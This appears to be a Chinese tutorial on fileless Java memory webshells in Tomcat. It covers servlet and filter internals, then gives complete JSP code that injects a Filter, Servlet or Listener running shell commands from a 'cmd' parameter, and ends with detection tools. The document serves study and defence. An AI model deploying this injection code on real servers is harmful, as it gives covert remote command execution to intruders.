内存马简介
什么是内存马
随着每年攻防对抗强度的增加,普通的webshell在各大厂商的安全设备下,根本难以存活,想要落地一个实体webshell的难度逐渐增大。逐步完善的过滤机制、前后端分离的趋势,使得传统的webshell生存空间越来越小。于是,随着时代的发展,内存马出现了。
内存马就是一种无需落地文件就能使用的webshell,它将恶意代码写入内存,拦截固定参数来达到webshell的效果。
如何实现内存马
实现目标:访问任意url或者指定url,带上命令执行参数,即可让服务器返回命令执行结果
实现方法:以java为例,客户端发起的web请求会依次经过Listener
—>Filter
—>Servlet
三个组件,我们只要在这个请求的过程中做手脚,在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode,就可以达到我们的目的。
内存马类型
根据注入的方式,大概分类以下两类:
servlet-api型
- 通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如
spring
的controller
内存马,tomcat
的valve
内存马
- 字节码增强型
- 通过java的
instrumentation
动态修改已有代码,进而实现命令执行等功能。
背景知识
Java web三大件
详情的可以自己去研究,搜索关键词maven tomcat servlet 开发
,这里大概描述一下
Servlet
Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。
请求的处理过程
- 浏览器向 Web 服务器发送了一个 HTTP 请求,Servlet容器根据收到的请求,会先创建一个
HttpServletRequest
和HttpServletResponse
对象
- 调用相应的 Servlet 程序,在 Servlet 程序运行时,它首先会从
HttpServletRequest
对象中读取数据信息,然后通过service()
方法处理请求消息
service()
方法根据请求类型,分别调用doGet
或者doPost
方法,其中doXXX
方法是我们自己写的逻辑Controller
- 将处理后的响应数据写入到
HttpServletResponse
对象中。
- Web 服务器会从
HttpServletResponse
对象中读取到响应数据,并发送给浏览器
- 容器关闭时候,会调用
destory
方法
需要注意的是,在Web服务器运行阶段,每个Servlet都只会创建一个实例对象,针对每次HTTP请求,Web服务器都会调用所请求Servlet实例的
service(HttpServletRequest request,HttpServletResponse response)
方法,并重新创建一个 request 对象和一个 response 对象。
servlet生命周期
- 服务器启动时(web.xml中配置
load-on-startup=1
,默认为0)或者第一次请求该servlet时,就会初始化一个Servlet对象,也就是会执行初始化方法init(ServletConfig conf)
。 - servlet对象去处理所有客户端请求,在
service(ServletRequest req,ServletResponse res)
方法中执行 - 服务器关闭时,销毁这个servlet对象,执行
destroy()
方法。 - 由JVM进行垃圾回收。
代码示例
Filter
filter也称之为过滤器,是对Servlet技术的一个强补充,其主要功能是在HttpServletRequest
到达Servlet
之前,拦截客户的HttpServletRequest
,根据需要检查HttpServletRequest
,也可以修改HttpServletRequest
头和数据;在HttpServletResponse
到达客户端之前,拦截HttpServletResponse
,根据需要检查HttpServletResponse
,也可以修改HttpServletResponse
头和数据。
简单来说就是在Servlet处理请求前和Servlet响应请求后实现一些特殊的功能
基本工作原理
1、Filter 程序是一个实现了特殊接口的 Java 类,与 Servlet 类似,也是由 Servlet 容器进行调用和执行的。
2、当在 web.xml
注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时,它可以决定是否将请求继续传递给 Servlet 程序,以及对请求和响应消息是否进行修改。
3、当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。
4、但在 Filter.doFilter
方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter
方法来激活目标 Servlet 的 service 方法,FilterChain 对象时通过 Filter.doFilter
方法的参数传递进来的。
5、只要在 Filter.doFilter
方法中调用 FilterChain.doFilter
方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行响应前后实现某些特殊功能。
6、如果在 Filter.doFilter
方法中没有调用 FilterChain.doFilter
方法,则目标 Servlet 的 service 方法不会被执行,这样通过 Filter 就可以阻止某些非法的访问请求。
filter的生命周期
- 当服务器启动,就会创建Filter对象(随着Tomcat的启动而创建),并调用
init()
方法,只调用一次 - 当访问资源时,路径与filter拦截路径匹配,会执行Filter中的
doFilter
方法,这个方法是真正拦截操作的方法。 - 当服务器关闭时,会调用Filter中的
destroy
方法来进行销毁操作。filter链
当多个filter同时存在的时候,组成了filter链。
web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。当第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain
对象传递给该方法,通过判断FilterChain
中是否还有filter决定后面是否还调用filter。代码示例
Listener
程序开发中,经常需要对某些事件进行监听,比如监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。
事件:用户的一个操作,如点击按钮
事件源:产生事件的对象。
监听器:负责监听发生在事件源上的事件。
注册监听:将事件,事件源,监听器绑定在一起。当事件源上发生某个事件后,执行监听器代码。代码示例
``` import javax.servlet.ServletContextEvent; import javax.servlet.ServletContextListener; import javax.servlet.annotation.WebListener; import javax.servlet.http.HttpSessionAttributeListener; import javax.servlet.http.HttpSessionEvent; import javax.servlet.http.HttpSessionListener; import javax.servlet.http.HttpSessionBindingEvent;
@WebListener() public class HelloListener implements ServletContextListener, HttpSessionListener, HttpSessionAttributeListener {
// Public constructor is required by servlet spec
public HelloListener() {
}
// -------------------------------------------------------
// ServletContextListener implementation
// -------------------------------------------------------
public void contextInitialized(ServletContextEvent sce) { // 初始化资源,例如打开数据库连接池等:
/* This method is called when the servlet context is
initialized(when the Web application is deployed).
You can initialize servlet context related data here.
*/
}
public void contextDestroyed(ServletContextEvent sce) { // 清理WebApp,例如关闭数据库连接池等
/* This method is invoked when the Servlet Context
(the Web application) is undeployed or
Application Server shuts down.
*/
}
// -------------------------------------------------------
// HttpSessionListener implementation
// -------------------------------------------------------
public void sessionCreated(HttpSessionEvent se) {
/* Session is created. */
}
public void sessionDestroyed(HttpSessionEvent se) {
/* Session is destroyed. */
}
// -------------------------------------------------------
// HttpSessionAttributeListener implementation
// -------------------------------------------------------
public void attributeAdded(HttpSessionBindingEvent sbe) {
/* This method is called when an attribute
is added to a session.
*/
}
public void attributeRemoved(HttpSessionBindingEvent sbe) {
/* This method is called when an attribute
is removed from a session.
*/
}
public void attributeReplaced(HttpSessionBindingEvent sbe) {
/* This method is invoked when an attribute
is replaced in a session.
*/
}
}
### Tomcat
> 简单理解,tomcat是http服务器+servlet容器。
Tomcat 作为Servlet容器,将http请求文本接收并解析,然后封装成`HttpServletRequest`类型的request对象,传递给servlet;同时会将响应的信息封装为`HttpServletResponse`类型的response对象,然后将response交给tomcat,tomcat就会将其变成响应文本的格式发送给浏览器。<br />![servlet工作流程_yuyibo95的博客-CSDN博客_servlet工作流程](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990212894-b1dcf525-2663-4dde-b9ec-eaa22a31d7b2.png)
#### Tomcat架构设计
Tomcat 的本质其实就是一个 WEB 服务器 + 一个 Servlet 容器,那么它必然需要处理网络的连接与 Servlet 的管理,因此,Tomcat 设计了两个核心组件来实现这两个功能,分别是**连接器**和**容器**,**连接器用来处理外部网络连接,容器用来处理内部 Servlet**<br />![tomcat](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990213694-0c6697b0-5bff-4893-a7c6-d86fe319e8d7.png)<br />一个 Tomcat 代表一个 Server 服务器,一个 Server 服务器可以包含多个 Service 服务,Tomcat 默认的 Service 服务是 Catalina,而一个 Service 服务可以包含多个连接器,因为 Tomcat 支持多种网络协议,包括 HTTP/1.1、HTTP/2、AJP 等等,一个 Service 服务还会包括一个容器,容器外部会有一层 Engine 引擎所包裹,负责与处理连接器的请求与响应,连接器与容器之间通过 `ServletRequest` 和 `ServletResponse` 对象进行交流。<br />在`Container`容器中包含4个子容器,且存在包含关系,分别是:
|
容器
| 实现类
| 含义
|
| --- | --- | --- |
|
Engine
| org.apache.catalina.core.StandardEngine
| 最顶层容器组件,可以包含多个Host
|
|
Host
| org.apache.catalina.core.StandardHost
| 一个Host代表一个虚拟主机,如a.com、b.com,其下可以有多个Context
|
|
Context
| org.apache.catalina.core.StandardContext
| 一个Context代表一个Web应用,如/example、/ROOT、/manager,其下可有多个Wrapper
|
|
Wrapper
| org.apache.catalina.core.StandardWrapper
| 一个Wrapper通常代表一个Servlet,是对Servlet的封装
|
一个engine可以对一个多个`host`,也就是虚拟主机,一个host可以对应多个`context`,也就是web应用,一个context对应多个`wrapper`,也就是`servlet`。这个映射关系,通过`mapper`组件来关联,`mapper`组件保存了Web应用的配置信息,容器组件与访问路径的映射关系。Host容器的域名,Context容器中的web路径,Wrapper容器中的servlet映射的路径,这些配置信息是多层次的Map。根据请求定位到指定servlet的流程图如下:<br />![tomcat](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990214542-da80576a-2f19-4f0b-a6e8-b185333108b6.png)
### 其他知识
#### 反射
![Java反射技术- Java小斌- 博客园](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990215369-54c0aa9a-e74c-4288-8f58-211d9564902d.png)<br />反射提供的功能,能在运行时(动态)的
1.
获取一个类的所有成员变量和方法
1.
创建一个类的对象
<br />a. 获取对象成员变量&赋值
<br />b. 调用对象的方法
<br />c. 判断对象所属的类
在注入内存马的过程当中,我们可能需要用到反射机制,例如注入一个servlet型的内存马,我们需要使用反射机制来获取当前的context,然后将恶意的servlet(wrapper)添加到当前的context的children中。<br />在使用Java反射机制时,主要步骤包括:
1. 获取目标类型的Class对象
1. 通过Class对象分别获取`Constructor`类对象、`Method`类对象和`Field`类对象
1. 通过Constructor类对象、Method类对象和Field类对象分别获取类的构造函数、方法&属性的具体信息,并进行后续操作
#### java instrumentation
- [Java Intrumentation 和相关应用](https://jifuwei.github.io/2019/06/04/instrument/)
动态 Instrumentation 是 Java SE 5 的新特性,它在 `java.lang.instrument` 包中,它把 Java 的 instrument 功能从本地代码中释放出来,使其可以用 Java 代码的方式解决问题。使用 `Instrumentation`,开发者可以构建一个独立于应用程序的代理程序(Agent),用来监测和协助运行在 JVM 上的程序,甚至可以替换和修改某些类的定义。有了这样的功能,开发者就可以实现更为灵活的虚拟机监控和 Java的类操作了,这样的特性实际上提供了一种虚拟机级别支持的 AOP方式,使得开发者无需对原有应用做任何修改,就可以实现类的动态修改和增强<br />`java.lang.instrument` 包被赋予了更强大的功能:启动后的 监测、本地代码(native code)监测,以及动态改变 `classpath` 等等。这些改变,意味着 Java 具有了更强的动态控制与解释能力,它使得 Java 语言变得更加灵活多变。<br />`Java agent`是一种特殊的Java程序(Jar文件),它是`Instrumentation`的客户端。与普通Java程序通过main方法启动不同,agent并不是一个可以单独启动的程序,而必须依附在一个Java应用程序(JVM)上,与它运行在同一个进程中,通过`Instrumentation API`与虚拟机交互。<br />
在注入内存马的过程中,我们可以利用java instrumentation机制,**动态的修改已加载到内存中的类里的方法,进而注入恶意的代码**。<br />![Java Intrumentation 和相关应用](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990216394-503459d5-8beb-479f-99af-7986f766f45c.png)
## servlet-api内存马编写
> 所有内存马编写时,都可以自己写一个对应的东西,比如filter、servlet,然后去跟一下Tomcat本身是如何去添加这些东西的,最后模拟一下这个过程动态添加就行了
### Filter内存马
Filter 内存马是通过动态注册以一个恶意Filter,由于是动态注册的,所以这个filter没有文件实体,存在内存中,当tomcat重启就消失了<br />一般我们把这个Filter放在所有的filter最前面优先执行,也就是filter链的第一个,这样我们的请求就不会受到其他filter的干扰<br />需要动态注册filter就需要添加filter相关的库、函数等
#### ServletContext
需要动态注册filter就需要几个添加filter相关的函数,`ServletContext`恰好可以满足这个条件<br />`javax.servlet.servletContext`中存在`addFilter`,`addServlet`,`addListener`方法,即添加Filter,Servlet,Listener<br />获取ServletContext的方法:`this.getServletContext();`、`this.getServletConfig().getServletContext();`
#### ApplicationContext
在Tomcat中,`org.apache.catalina.core.ApplicationContext`中包含一个`ServletContext`接口的实现,所以需要引入`org.apache.catalina.core.ApplicationContext`这个库,**用它获取上下文`StandardContext`**
#### Filter相关变量
|
名称
| 说明
|
| --- | --- |
|
`filterMaps` 变量
| 存放`FilterMap`的数组,在 `FilterMap` 中主要存放了 `FilterName` 和 对应的`URLPattern`
|
|
`filterDefs` 变量
| 存放`FilterDef`的数组 ,`FilterDef` 中存储着我们过滤器名,过滤器实例等基本信息
|
|
`filterConfigs` 变量
| 存放`filterConfig`的数组,在 `FilterConfig` 中主要存放 `FilterDef` 和 `Filter`对象等信息
|
|
`FilterChain` 变量
| 过滤器链,该对象上的 `doFilter` 方法能依次调用链上的 `Filter`
|
|
`ApplicationFilterChain`
| 调用过滤器链
|
|
`ApplicationFilterConfig`
| 获取过滤器
|
|
`ApplicationFilterFactory`
| 组装过滤器链
|
|
**`StandardContext`**
| Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper**
|
|
`StandardWrapperValve`
| 一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet
|
`org.apache.catalina.core.ApplicationFilterConfig` 在tomcat不同版本需要通过不同的库引入`FilterMap`和`FilterDef`
// tomcat 7 import org.apache.catalina.deploy.FilterMap; import org.apache.catalina.deploy.FilterDef;
// tomcat 8/9 import org.apache.tomcat.util.descriptor.web.FilterMap; import org.apache.tomcat.util.descriptor.web.FilterDef;
#### 动态注入内存
> 需要调试的话,直接给想要调试的代码写到servlet里面就可以调试了,避免去尝试调试JSP
流程:
1.
创建一个恶意Filter
1.
利用FilterDef对Filter进行一个封装
1.
将FilterDef添加到FilterDefs和FilterConfig
1.
创建FilterMap ,将我们的Filter和urlpattern相对应,存放到filterMaps中(由于Filter生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的Filter最先触发)
Tomcat中的对应的`ServletContext`实现是`ApplicationContext`,在Web应用中获取的`ServletContext`实际上是`ApplicationContextFacade`对象,对`ApplicationContext`进行了封装,而`ApplicationContext`实例中又包含了`StandardContext`实例,以此来获取操作Tomcat容器内部的一些信息,例如Servlet的注册等。<br />![image-20211124091110131](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990217940-2ace88b2-f8ee-43b1-b8ed-91a94b84607f.png)<br />当我们能直接获取 request 的时候,可以直接将 `ServletContext` 转为 `StandardContext` 从而获取 `context`。
<%@ page contentType=”text/html;charset=UTF-8” language=”java” %> <%@ page import = “org.apache.catalina.Context” %> <%@ page import = “org.apache.catalina.core.ApplicationContext” %> <%@ page import = “org.apache.catalina.core.ApplicationFilterConfig” %> <%@ page import = “org.apache.catalina.core.StandardContext” %> <%@ page import = “javax.servlet.*” %> <%@ page import = “java.io.IOException” %> <%@ page import = “java.lang.reflect.Constructor” %> <%@ page import = “java.lang.reflect.Field” %> <%@ page import = “java.util.Map” %> <%@ page import=”org.apache.tomcat.util.descriptor.web.FilterDef” %> <%@ page import=”org.apache.tomcat.util.descriptor.web.FilterMap” %>
<% // 创建一个恶意的Filter,需要实现Filter接口 class filterDemo implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { } public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd = servletRequest.getParameter(“cmd”); if (cmd!= null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + ‘\n’); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest, servletResponse); }
@Override
public void destroy() {
}
}
%>
<% //从org.apache.catalina.core.ApplicationContext反射获取context方法 ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField(“context”); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField(“context”); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField(“filterConfigs”); Configs.setAccessible(true); // filterConfigs 中存放的所有拦截器 Map filterConfigs = (Map) Configs.get(standardContext);
String name = "filterDemo";
//判断是否存在filterDemo1这个filter,如果没有则准备创建
if (filterConfigs.get(name) == null){
//定义一些基础属性、类名、filter名等
filterDemo filter = new filterDemo();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
//添加filterDef
standardContext.addFilterDef(filterDef);
//创建filterMap,设置filter和url的映射关系,可设置成单一url如/xyz ,也可以所有页面都可触发可设置为/*
FilterMap filterMap = new FilterMap();
// filterMap.addURLPattern("/*");
// 这里可根据实际情况添加拦截器拦截的路由
filterMap.addURLPattern("/xyz");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//添加我们的filterMap到所有filter最前面
standardContext.addFilterMapBefore(filterMap);
//反射创建FilterConfig,传入standardContext与filterDef
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
//将filter名和配置好的filterConifg传入
filterConfigs.put(name,filterConfig);
out.write("Inject success!");
}
else{
out.write("Injected!");
}
%>
![image-20211123190816208](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990221614-7a4727db-8431-4f34-bb3d-40cfc00ff386.png)
### Servlet内存马
#### 启动
常规情况下在启动时,会自动调用`StandardContext.addServletMappingDecoded()`方法给我们定义的路由和名字加进去,所有后面动态注入也是利用的这个方法,获取到`StandardContext`然后添加即可,前提是要给这个`servlet`先添加到`children`中<br />![image-20211124100859292](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990222624-6c90b05e-7565-4779-995a-423ef371a247.png)
- `servletMappings`和前提判断条件
![image-20211124102229031](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990226490-c9517177-bcdf-49b8-83b3-97ca7a219b56.png)
- `findChild()`
![image-20211124101633003](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990229983-59706396-ddae-4244-9392-4a13090d2a0e.png)
- `addChild()`
![image-20211124102754954](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990233826-59120e20-ea42-45f8-ae24-7bb1ffc50ff5.png)<br />会给我们创建的`servlet/wrapper`添加到`children`中<br />![image-20211124102113072](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990238523-9b1e939b-2f1f-4b11-bd49-b8f06440cc04.png)
#### 动态注入内存
下面的代码先是创建了一个恶意的`servlet`,然后获取当前的`StandardContext`,然后将恶意`servlet`封装成`wrapper`添加到`StandardContext`的`children`当中,最后添加`ServletMapping`将访问的`URL`和`wrapper`进行绑定。
<%@ page import=”java.io.IOException” %> <%@ page import=”java.io.InputStream” %> <%@ page import=”java.util.Scanner” %> <%@ page import=”org.apache.catalina.core.StandardContext” %> <%@ page import=”java.io.PrintWriter” %>
<% // 创建恶意Servlet Servlet servlet = new Servlet() { @Override public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.write(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
%> <% // 获取StandardContext org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
// 用Wrapper对其进行封装
org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
newWrapper.setName("testsaaa");
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
// 添加封装后的恶意Wrapper到StandardContext的children当中
standardCtx.addChild(newWrapper);
// 添加ServletMapping将访问的URL和Servlet进行绑定
// 低版本此处可能为 addServletMapping
standardCtx.addServletMappingDecoded("/shell","testsaaa");
%>
执行上述代码后,访问当前应用的`/shell`路径,加上cmd参数就可以命令执行了。使用新增servlet的方式就需要绑定指定的URL。如果我们想要更加隐蔽,做到内存马与URL无关,无论这个url是原生servlet还是某个struts action,甚至无论这个url是否真的存在,只要我们的请求传递给tomcat,tomcat就能相应我们的指令,那就得通过注入新的或修改已有的filter或者listener的方式来实现了。<br />比如早期rebeyond师傅开发的memshell,就是通过修改`org.apache.catalina.core.ApplicationFilterChain`类的`internalDoFilter`方法来实现的,后期冰蝎最新版本的内存马为了实现更好的兼容性,选择hook `javax.servlet.http.HttpServlet#service` 函数,在weblogic选择hook `weblogic.servlet.internal.ServletStubImpl#execute` 函数。<br />![image-20211123140640054](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990241484-3cb7c949-2ee3-40c8-9c59-1091f62008dc.png)
### Listener内存马
Listener的监听主要分为三类:
- ServletContext监听:用于对Servlet整个上下文进行监听(创建、销毁)
- Session监听:对Session的整体状态的监听
- Request监听:用于对Request请求进行监听(创建、销毁)
对于这三类,熟悉java和Tomcat的同学应该知道,对于request的请求和篡改是常见的利用方式,另两者涉及到服务器的启动跟停止,或者是Session的建立跟销毁,就不太适合
#### ServletRequestListener接口
该接口实现的方法有`requestDestroyed`,`requestInitialized`,分别是在监听request请求结束,以及request请求开始,我们着重看请求开始的部分<br />![image-20211123192336004](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990242185-4ac8b81a-20a4-4833-8d39-cfdf99a6846a.png)<br />在`requestInitialized`这个函数中,我们从`servletRequestEvent`参数中取cmd参数,在当前上下文只要在任意路由下监听到了cmd参数存在值,那么就执行命令,具体操作如下
public void requestInitialized(ServletRequestEvent servletRequestEvent) { String cmd = servletRequestEvent.getServletRequest().getParameter(“cmd”); if(cmd != null){ try { Runtime.getRuntime().exec(cmd); } catch (IOException e) {} } }
> 这里是没有回显的,盲的
#### 动态注入内存
<%@ page import=”java.io.IOException” %> <%@ page import=”org.apache.catalina.core.StandardContext” %>
<% ServletRequestListener listener = new ServletRequestListener() { @Override public void requestInitialized(ServletRequestEvent sre) { String cmd = sre.getServletRequest().getParameter(“cmd”); if(cmd != null){ try { Runtime.getRuntime().exec(cmd); } catch (IOException e) {} } } }; %>
<% // 获取StandardContext org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
standardCtx.addApplicationEventListener(listener);
%>
![image-20211123192949328](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990246410-54b881b0-1306-4336-9a4e-33ed4629cbcf.png)
## servlet-api总结
以上三种根据Servlet的特性,动态注入,jsp文件只要落地,即可动态加载到内存中
|
姿势
| 优点
| 缺点
|
| --- | --- | --- |
|
Filter
| 通过添加全局拦截器对参数进行拦截,来进行恶意代码执行通过添加filtermap,可以随便设置路由,所有请求都会过该拦截器
| 引入`filterMaps`,`filterDef`,要根据tomcat版本来判断代码量较高
|
|
Servlet
| 简单方便,了解Servlet生命周期即可更直观了解如何动态添加ServletMapping
| 无法使所有参数都经过恶意代码,只能在我们自己设定的url中才能触发
|
|
Listener
| 简单方便,通过添加监听器对request进行监控在任意url中都能设置我们监听的参数
| 只要监听的参数含有就会进入监听代码中如果在该jsp页面下访问,则会重放请求
|
## 内存马查杀
查杀感觉很多都是依赖于`Java agent`去查杀的。
### arthas
`Arthas` 是Alibaba开源的Java诊断工具
-
地址:[https://github.com/alibaba/arthas](https://github.com/alibaba/arthas)
-
[使用文档](20118d2abc0f07b89e1e07c669a5622e) 很详细,可以慢慢研究
下载`arthas-boot.jar`,然后用`java -jar`的方式启动:
curl -O https://arthas.aliyun.com/arthas-boot.jar java -jar arthas-boot.jar
![image-20211208134514442](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990250072-b2f4a8a5-17d8-48ca-93de-12bf2482aefa.png)
- 通过`mbean`命令,可以便捷的查看或监控 **Mbean** 的属性信息(可以查看异常`Filter`/`Servlet`节点)
![image-20211208134927536](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990253034-03d39621-3e85-4e68-979c-6ab1604ea221.png)
- 使用`jad`反编译class源码(感觉是依赖于`cfr-decompiler`这个小工具)
![image-20211208135455680](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990257556-ed4acaf6-77f8-44d3-947c-9d1fd423ca36.png)
### copagent
Java内存马提取工具,arthas的改进版,可以确定风险等级,并且将内存中的信息全部输出<br />地址:[https://github.com/LandGrey/copagent](https://github.com/LandGrey/copagent)<br />下载`cop.jar`,然后启动
wget https://github.com/LandGrey/copagent/raw/release/cop.jar java -jar cop.jar
```
查看输出结果
找到相关的class文件并反编译
java-memshell-scanner
通过jsp脚本扫描并查杀各类中间件内存马,比Java agent要温和一些。
地址:https://github.com/c0ny1/java-memshell-scanner
dump下来反编译
参考
- Tomcat内存马
- tomcat无文件内存webshell
- Tomcat Filter类型内存马与查杀技术学习:比较详细比较细,分析每一步为什么要这样做也很详细